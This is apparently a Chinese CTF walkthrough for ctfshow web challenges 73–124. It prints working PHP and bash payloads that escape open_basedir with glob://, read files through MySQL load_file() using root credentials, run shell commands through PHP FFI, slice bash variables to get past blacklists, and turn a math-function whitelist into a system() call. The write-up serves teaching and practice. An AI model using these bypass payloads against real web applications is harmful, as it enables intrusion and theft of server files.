web73
該題目沒有開啟web72的open_basedir,所以可以使用var_export(scandir('/'));exit();進行目錄掃描。
讀取文件函數:
require_once()
web74
scandir()函數被禁用,使用glob://偽協議進行讀取根目錄文件。
c=var_export(glob('../../../*'));exit();
c=var_export(glob('/*'));exit();c=$a=opendir("glob:///*");while (($file = readdir($a)) !== false) {echo $file . "<br>";};exit();
然后仍然用include()等函數來讀取文件。
web75
直接用c=var_export(glob("/*"));exit();去查看根目錄文件,發現返回false,說明直接用glob()函數存在問題。利用glob偽協議,可以繞過,得到根目錄文件。
c=$a=opendir("glob:///*");while (($file = readdir($a)) !== false) {echo $file . "<br>";};exit();存在flag36.txt文件。include()等函數被過濾,ufa腳本也被過濾,因此可以使用mysql的load_file()函數進行文件讀取。
c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root','root');foreach($dbh->query('select load_file("/flag36.txt")') as $row){echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e->getMessage();exit(0);}exit(0);c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root','root');foreach($dbh->query('select load_file("/flag36.txt")') as $row){echo($row[0])."|"; }$dbh = null;
}catch (PDOException $e) {echo $e->getMessage();exit(0);
}exit(0);try {// 使用PDO(PHP Data Objects)創建一個新的數據庫連接對象,指定DSN、用戶名(root)和密碼(root)$dbh = new PDO('mysql:host=localhost;dbname=information_schema', 'root', 'root');// 執行一個SQL查詢,從指定的文件(/flag36.txt)中讀取內容foreach($dbh->query('select load_file("/flag36.txt")') as $row) { // 輸出讀取到的內容,并追加一個豎線(|)echo($row[0])."|";}// 將數據庫連接對象設置為null,關閉連接$dbh = null;
} catch (PDOException $e) {// 如果發生PDO異常,輸出錯誤信息echo $e->getMessage();// 終止腳本執行die();
}
// 終止腳本執行
exit();
$dbh 是數據庫連接句柄(database handle),它是通過 new PDO 創建的,用于與數據庫進行交互。 PDO(PHP Data Objects)是PHP中的一個擴展,它提供了一個統一的接口來訪問不同的數據庫。它支持預處理語句和事務,使數據庫操作更安全和高效。 DSN(數據源名稱,Data Source Name)是一個包含數據庫連接信息的字符串。它通常包括數據庫類型、主機名、數據庫名稱等信息。在創建PDO對象時指定,即 'mysql:host=localhost;dbname=information_schema'。這個字符串包含了數據庫類型(mysql)、主機名(localhost)和數據庫名稱(information_schema)。 foreach 是PHP中的一個控制結構,用于遍歷數組或對象。在上面payload中,foreach 用于遍歷SQL查詢的結果集(由 $dbh->query 返回),并處理每一行的數據。
這里的ctftraing數據庫可以更換為information_schema,information數據庫包含了所有的信息,因此也可以查詢到flag36.txt的信息。
這里數據庫的名稱為空仍然可以獲取到flag36.txt,可能information_schema為默認的數據庫。
下面的代碼為mysqli的形式:
c=$dbh=mysqli_connect('localhost','root','root','ctftraining');
if($dbh->connect_errno){echo "連接失敗".$dbh->connect_error;exit();
}
$dbh->set_charset('utf8mb4');
$q='select load_file("/flag36.txt") as file_content';
foreach(mysqli_query($dbh,$q) as $row){ echo $row['file_content']."|";
}
$dbh=null;
exit(0);c=$dbh=mysqli_connect('localhost','root','root','ctftraining');if($dbh->connect_errno){echo "連接失敗".$dbh->connect_error;exit();} $dbh->set_charset('utf8mb4');$q='select load_file("/flag36.txt") as file_content';foreach(mysqli_query($dbh,$q) as $row){echo $row['file_content']."|";}$dbh=null;exit(0);#該代碼數據庫的部分仍然可為空,應該是存在默認數據庫。c=$conn = mysqli_connect("127.0.0.1", "root", "root", "ctftraining"); $sql = "select load_file('/flag36.txt') as a"; $row = mysqli_query($conn, $sql); while($result=mysqli_fetch_array($row)){ echo $result['a']; } exit();
利用php語言實現sql查詢:
#查詢數據庫
c=$dsn = "mysql:host=localhost;dbname=information_schema";
$db = new PDO($dsn, 'root', 'root');
$rs = $db->query("select group_concat(SCHEMA_NAME) from SCHEMATA");
foreach($rs as $row){echo($row[0])."|";
}exit();
// 數據源名稱(DSN),指定數據庫類型、主機名和數據庫名稱
$dsn = "mysql:host=localhost;dbname=information_schema";
// 使用PDO(PHP Data Objects)創建一個新的數據庫連接對象,使用指定的DSN、用戶名(root)和密碼(root)
$db = new PDO($dsn, 'root', 'root');
// 執行一個SQL查詢,從SCHEMATA表中選擇并連接所有數據庫名稱(SCHEMA_NAME),返回一個結果集
$rs = $db->query("select group_concat(SCHEMA_NAME) from SCHEMATA");
// 遍歷結果集中的每一行,并輸出第一個字段(即連接的數據庫名稱),然后追加一個豎線(|)
foreach($rs as $row){echo($row[0])."|";
}
// 終止腳本執行
exit();
#查詢表
c=$dsn = "mysql:host=localhost;dbname=information_schema";
$db = new PDO($dsn, 'root', 'root');
$rs = $db->query("select group_concat(TABLE_NAME) from INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='ctftraining'");
foreach($rs as $row){echo($row[0])."|";
}exit();
?
#查詢字段
c=$dsn = "mysql:host=localhost;dbname=information_schema";
$db = new PDO($dsn, 'root', 'root');
$rs = $db->query("select group_concat(TABLE_NAME) from INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='ctftraining'");
foreach($rs as $row){echo($row[0])."|";
}exit();
?
#查詢值
c=$dsn = "mysql:host=localhost;dbname=information_schema";
$db = new PDO($dsn, 'root', 'root');
$rs = $db->query("select FLAG_COLUMN from FLAG_TABLE");
foreach($rs as $row){echo($row[0])."|";
}exit();
web77
該題禁用了使用mysql代碼的方法去讀取flag。在php7.4版本以上存在一個FFI參數,該參數的FFI:cdef方法可用于定義C函數原型。int system(const char *command)是C語言中 system()函數的聲明,system($a)函數只接受一個字符串參數(即shell命令),并且會在系統中執行該命令。
$ffi = FFI::cdef("int system(const char *command);");//創建一個system對象
$a='/readflag > 1.txt';//沒有回顯的
$ffi->system($a);//通過$ffi去調用system函數聲明system()函數為$ffi變量,$a是執行/readfile文件到1.txt,利用system()函數執行$a。
執行過程:利用$ffi變量調用system()函數,然后執行$a,實際就是執行shell命令:/readfile文件到1.txt
paylaod:
c=$ffi = FFI::cdef("int system(const char *command);");$a='/readflag > 1.txt';$ffi->system($a);
問題:為什么不能直接訪問flag36x.txt,原因:權限不夠,將flag36x.txt重定位到1.txt,可以看到沒有內容。
使用ls -a命令查看根目錄文件的權限:
c=$ffi = FFI::cdef("int system(const char *command);");$a='ls -l / > 1.txt';$ffi->system($a);
對于以上字符串每三個字符為一組,分別表示所有者權限,文件所屬組的權限,其他用戶和組的權限。
所以看到flag36x.txt是只有所有者和所屬組有讀的權限,其他組和用戶沒有任何權限。因此無法直接讀取flag36x.txt。但是readfile文件是其他用戶和組有讀取和執行的權限,因此可以讀取并執行該文件。
執行該文件后為什么能夠輸出flag:
原因:readflag文件是一個二進制文件,該文件的作用是用來提升權限的,所以能夠輸出flag。
重定位該文件到4.txt文件,然后訪問下載該文件,用IDA打開進行反編譯:
setuid(0):將權限提升為root。所以通過提升用戶權限為root來讀取flag。
?
int __fastcall main(int argc, const char **argv, const char **envp)
{
setuid(0); ? ? ? ? ? ? ? ? ? ?? // 提升權限為root用戶
puts("ctfshow flag getter"); ?? // 輸出一條信息到標準輸出
system("cat /flag36x.txt"); ? ? // 執行命令,輸出文件 /flag36x.txt 的內容
return 0; ? ? ? ? ? ? ? ? ? ? ? // 返回0,表示程序正常結束
}
就是提權成 root
web118
黑盒測試題目,不知道源碼。
輸入數字和小寫字母被過濾。大寫字母沒有被過濾。查看源碼,發現時輸入命令在system()函數中執行。
BP抓包查看那些字符是沒有被過濾:發現除了大寫字母還有一些字符沒有被過濾,例如 ~ 符號。
知識點:Linux內置變量,bash切片。
在linux中存在內置變量(系統變量)用于配置系統信息或者存儲系統信息。
(1)$BASH
?
描述:指向當前使用的Bash解釋器的路徑。
示例:/bin/bash
用途:用于確定正在使用的Bash版本和路徑。
?
(2) $PATH
?
描述:存儲一系列路徑,這些路徑用于查找可執行文件,當你在命令行中輸入命令時,系統會在這些路徑中查找對應的可執行文件。
示例:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
用途:影響命令的查找和執行,可以添加自定義腳本或程序的路徑。
?
(3)$HOME
?
描述:當前用戶的主目錄路徑。
示例:/home/username
用途:表示當前用戶的主目錄,通常用于存儲用戶配置文件和個人數據。
?
(4)$PWD
?
描述:當前工作目錄(Present Working Directory)。
示例:/home/username/projects
用途:表示當前的工作目錄路徑,常用于腳本和命令中獲取或顯示當前目錄。
?
(5)$USER
?
描述:當前登錄的用戶名。
示例:username
用途:表示當前用戶的名稱,常用于顯示或檢查用戶信息。
?
(6)$SHELL
?
描述:當前用戶的默認shell。
示例:/bin/bash
用途:表示用戶登錄時使用的默認shell路徑。
?
(7)$UID
?
描述:當前用戶的用戶ID。
示例:1000(普通用戶),0(root用戶)
用途:標識當前用戶的唯一ID。
?
(8)$IFS
?
描述:內部字段分隔符(Internal Field Separator),用于分割輸入的字段,默認為空格、制表符和換行符。
示例:默認值為<space><tab><newline>
用途:影響腳本中的字段分割,常用于處理輸入和解析文本。
?
(9)$PS1
?
(10)$OSTYPE
?
(11)$TERM
bash切片知識
與python切片類似。格式:${VAR:offset:length}
${PWD:1:3}在bash中字符串索引的位置也從0開始。以上命令表示執行$PWD命令后將執行結果截取下標為1-3位置的字符。
${PWD:1}
如果只填寫一個字符則會默認訪問到字符串結尾。
該題目會用到 ~ 符號。~ 代表從結尾開始取值:
用到 ~ 的原因是需要在結尾處截取字符串進行字符串拼接從而得到能夠執行shell命令的參數。
由于數字被過濾,所以需要用到大寫字母:
看到大寫字母無論有幾個都只是截取末尾的一個字符,與數字0等效。
在該題目下,應該是部署/var/www/html環境下,所以$PWD的結果應該是/var/www/html,而$PATH的結果最后一個是bin,所以可以拼接出nl命令來讀取flag。
payload:
${PATH:~A}${PWD:~A} ????.???
讀取flag.php文件,因為通配符 ? 可以使用,所以用 ????.??? 來代替flag.php
${PATH:${#HOME}:${#SHLVL}}${PATH:${#RANDOM}:${#SHLVL}} ?${PATH:${#RANDOM}:${#SHLVL}}??.???
等價于:ll ?l??.???#其他師傅
${PATH:~A}${PATH:${#TERM}:${SHLVL:~A}} ????.???在bash中${#var}用于獲取變量var的長度,所以這里的截取位置需要的數字可以通過這種方法進行獲取。
這種方法可以用于任何變量,字符串變量以及環境變量。
比如:$HOME 返回 /root, 所以${#HOME} = 5
web119
該題目在原來過濾了小寫字母和數字以及一些特殊字符的基礎上,又過濾了PATH這個單詞,因此,上一題的payload無法使用。
利用${#RANDOM}系統內置變量,該變量是用來隨機生成數字4或者5,因此,可以構造/bin/base64來讀取flag。
${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${#RANDOM} ????.??? ${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${#RANDOM} ????.???${PWD::${#SHLVL}} 返回反斜杠/,用???通配符代表bin,用?????代表base6,用????.???代表flag.php。
${PWD::${SHLVL}}???${PWD::${SHLVL}}?????${#RANDOM} ????.???
${PWD::${SHLVL}}也返回 /,但不知道為什么不行,不能返回結果。
錯誤原因:因為${SHLVL}是返回在linux中第一次打開進程是值為1,第二次打開進程時值為2。所以當傳入${SHLVL}時,值為2則不能返回反斜杠 / 。
${HOME:${#HOSTNAME}:${#SHLVL}} ? ? ====> ? t
${PWD:${Z}:${#SHLVL}} ?? ====> ? /
/bin/cat flag.php
${PWD:${#}:${#SHLVL}}???${PWD:${#}:${#SHLVL}}??${HOME:${#HOSTNAME}:${#SHLVL}} ????.???其他方法:
0:${#}; 1:${#SHLVL}=1,或者${##}、${#?}。 2:${SHLVL}=2 (SHLVL是記錄多個 Bash 進程實例嵌套深度的累加器,進程第一次打開shell時$SHLVL=1,然后在此shell中再打開一個shell時$SHLVL=2。) 3:${#IFS}=3。(linux下是3,mac里是4)構造payload: /bin/cat flag.php
已知$PWD返回/var/www/html
${PWD::${#SHLVL}}??? = /bin${PWD:${SHLVL}:${#SHLVL}} = a${PWD:~${SHLVL}:${#SHLVL}} = t${PWD::${#SHLVL}}?${PWD:${SHLVL}:${SHLVL}}${PWD:${SHLVL}:${SHLVL}} = /cat${PWD:~A} = l????.??? = flag.php${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?${PWD:${SHLVL}:${#SHLVL}}${PWD:~${SHLVL}:${#SHLVL}} ?${PWD:~A}??.???${PWD::${#SHLVL}}???${PWD::${#SHLVL}}??${HOME:${#HOSTNAME}:${#SHLVL}} ????.??? ${PWD::${#SHLVL}}??${HOME:${#HOSTNAME}:${#SHLVL}} = t /???/??t ????.??? /bin/cat flag.php
${LANG:${#SHLVL}:${#SHLVL}}${PWD:~A} ?${PWD:~A}??.???
${SHELL:~${#RANDOM}:${#SHLVL}}${PWD:~Q} ?${PWD:~A}??.???這兩條payload是通過構造nl命令來讀取flag,但是沒有成功。可能是因為nl沒有被允許使用。
web120
<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){$code=$_POST['code'];if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|PATH|BASH|HOME|\/|\(|\)|\[|\]|\\\\|\+|\-|\!|\=|\^|\*|\x26|\%|\<|\>|\'|\"|\`|\||\,/', $code)){ if(strlen($code)>65){echo '<div align="center">'.'you are so long , I dont like '.'</div>';}else{echo '<div align="center">'.system($code).'</div>';}}else{echo '<div align="center">evil input</div>';}
}?>
該過濾條件導致只能通過字符拼接的方式去繞過過濾,并且拼接的字符串長度不能大于65,所以該payload不能使用。
${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?${PWD:${SHLVL}:${#SHLVL}}? ????.???可以用以下paylaod來代替。
${PWD::${##}}???${PWD::${##}}??${PWD:~${SHLVL}:${##}} ????.???
${PWD::${##}}???${PWD::${##}}??${PWD:~${SHLVL}:${##}} ????.???
/???/??t ????.???
在控制字符串長度的時候,可以使用等價的長度更短的符號代替,這里${##} = ${#SHLVL}
官方WP:
${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?${USER:~A}? ????.???這里可以使用${USER:~A},因為USER在這里的參數是:www-data,${USER:~A} = a,該方法無法讀取flag。讀取了ELF的二進制文件。
其他方法:
用/bin/rev去讀取flag,出來結果是逆序。
?
${PWD::${#SHLVL}}??? = /bin
${PWD:${#IFS}:${#SHLVL}} ${#IFS}返回結果為3,因此可以讀取/var/www/html結果為:r。
因此 ${PWD::${#SHLVL}}${PWD:${#IFS}:${#SHLVL}}?? = /rev
?
${PWD::${##}}???${PWD::${##}}${PWD:${#IFS}:${#SHLVL}}?? ????.??? = /bin/rev flag.php
${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${#RANDOM} ????.???
也可用上一題base64的方法去繞過,但要多試幾次。
web121
<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){$code=$_POST['code'];if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|FLAG|PATH|BASH|HOME|HISTIGNORE|HISTFILESIZE|HISTFILE|HISTCMD|USER|TERM|HOSTNAME|HOSTTYPE|MACHTYPE|PPID|SHLVL|FUNCNAME|\/|\(|\)|\[|\]|\\\\|\+|\-|_|~|\!|\=|\^|\*|\x26|\%|\<|\>|\'|\"|\`|\||\,/', $code)){ if(strlen($code)>65){echo '<div align="center">'.'you are so long , I dont like '.'</div>';}else{echo '<div align="center">'.system($code).'</div>';}}else{echo '<div align="center">evil input</div>';}
}?>
${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${#RANDOM} ????.???
由于SHLVL被過濾,因此,可以用## 來代替SHLVL。
${PWD::${##}}???${PWD::${##}}?????${#RANDOM} ????.???
另一個payload:利用/bin/rev來獲取flag
${PWD::${##}}???${PWD::${##}}${PWD:${#IFS}:${##}}?? ????.???
web122
<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){$code=$_POST['code'];if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|FLAG|PATH|BASH|PWD|HISTIGNORE|HISTFILESIZE|HISTFILE|HISTCMD|USER|TERM|HOSTNAME|HOSTTYPE|MACHTYPE|PPID|SHLVL|FUNCNAME|\/|\(|\)|\[|\]|\\\\|\+|\-|_|~|\!|\=|\^|\*|\x26|#|%|\>|\'|\"|\`|\||\,/', $code)){ if(strlen($code)>65){echo '<div align="center">'.'you are so long , I dont like '.'</div>';}else{echo '<div align="center">'.system($code).'</div>';}}else{echo '<div align="center">evil input</div>';}
}?>
code=<A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ????.???
該題目是增加了更多的過濾,由于過濾了 # 和 PWD 變量,所以上一題payload無法使用。
該題目利用 $? 進行繞過,來進行字符串的拼接,$?用來返回上一個命令的執行狀態,當命令執行錯誤時,狀態值返回1,執行正確時狀態值返回0。因此前面執行<A,是錯誤命令,會返回1,而$HOME返回/root結果,取下第一個字符,則為/,后面RANDOM,由于"#"被過濾,因此需要使用$?來進行切割取隨機數的第一位,當取到4時則構成base64讀取flag。 ?
由于沒有特征,所以在用通配符識別命令時會比較緩慢。
web124
<?php
error_reporting(0);
//聽說你很喜歡數學,不知道你是否愛它勝過愛flag
if(!isset($_GET['c'])){show_source(__FILE__);
}else{//例子 c=20-1$content = $_GET['c'];if (strlen($content) >= 80) {die("太長了不會算");}$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];foreach ($blacklist as $blackitem) {if (preg_match('/' . $blackitem . '/m', $content)) {die("請不要輸入奇奇怪怪的字符");}}//常用數學函數http://www.w3school.com.cn/php/php_ref_math.asp$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs); ?foreach ($used_funcs[0] as $func) {if (!in_array($func, $whitelist)) {die("請不要輸入奇奇怪怪的函數");}}//幫你算出答案eval('echo '.$content.';');
}
?>
該題目是過濾了一些特殊符號,只允許在白名單whitelist中的函數進行操作,所以只能利用這些函數構造payload:
看文件
?
c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{abs}($$pi{acos});&abs=system&acos=ls
?
讀取文件
?
c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{abs}($$pi{acos});&abs=system&acos=tac flag.php
?
解析
?
$pi是因為題目限制只能用這個,其他的不讓用 首先$pi的值是_GET,定義這個變量是因為為了動態調用php函數,動態調用 PHP 函數需要使用 $var{func} 這種形式,其中 $var 是一個字符串,{func} 表示函數名。否則,如果直接使用 $func,則 PHP 引擎會將其解釋為一個未定義的常量,并且會導致語法錯誤。 為了調用system函數,就要構造
?
$pi{abs}($pi{acos});&abs=system&acos=ls
?
$pi{abs}($pi{acos});&abs=system&acos=tac flag.php
?
因為$pi 是一個字符串,而不是一個函數。$pi 的值是通過將 37907361743 和 1598506324 作為參數傳遞給 base_convert 和 dechex 函數計算得到的字符串。因此,如果直接使用 $pi{abs}($pi{acos}),PHP 引擎將無法識別 $pi 變量中的函數名。 為了解決這個問題,可以使用 PHP 變量變量解析器和函數調用鏈來動態調用函數。具體來說,$$pi{abs} 將 $pi{abs} 解釋為一個變量名,然后使用 $pi{acos} 作為該變量名的值進行函數調用。因此,$$pi{abs}($$pi{acos}) 將會調用 $pi{abs}($pi{acos})。 所以要構造
?
$$pi{abs}($$pi{acos});&abs=system&acos=ls
?
$$pi{abs}($$pi{acos});&abs=system&acos=tac flag.phppreg_match_all('
/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]
*/', $content, $used_funcs); 這句代碼表明沒有檢測純數字或者特殊符號,一但出現字符就會和白名單的函數進行匹配,如果存則通過,不存在則停止執行。y因此需要使用數字和特殊符號進行繞過。payload:
c=$pi=base_convert(37907361743,10,36)(dechex(1598506324)) = _GET;
原因:
首先需要構造能夠執行參數的方法:$_GET()或者$_POST()。這就需要一個能夠將數字轉化為字符的函數,有???? hex2bin。(這里是將16進制轉為字符)
base_convert()是將一個字符串默認從一個進制轉到另一個進制。而base_convert("hex2bin",36,10)=
37907361743,因此base_convert(37907361743,10,36)也就等于hex2bin。
hexdec(bin2hex('_GET')) = 1598506324
注:hexdec是將16進制轉化為10進制,dechex是將十進制轉為16進制。
所以dechex(1598506324)就是_GET的16進制,然后通過hex2bin轉化為字符串。
$$pi{abs}($$pi{acos})
?
雙寫$$是將傳入一個參數的值再次當做變量,這里需要將傳入的值當作變量后動態調用,因此出現$$pi{abs},這里{abs}等價于要傳入的函數,$pi = _GET,所以$$pi{abs} = system,$$pi{acos} 即等價于傳入system函數的參數。$$pi{abs}($$pi{acos}) = system($var)
這里白名單里的變量可以認為是一些允許出現的字符串,不能當作執行的函數,在拼接paylaod的過程中可以利用這些字符串當作參數。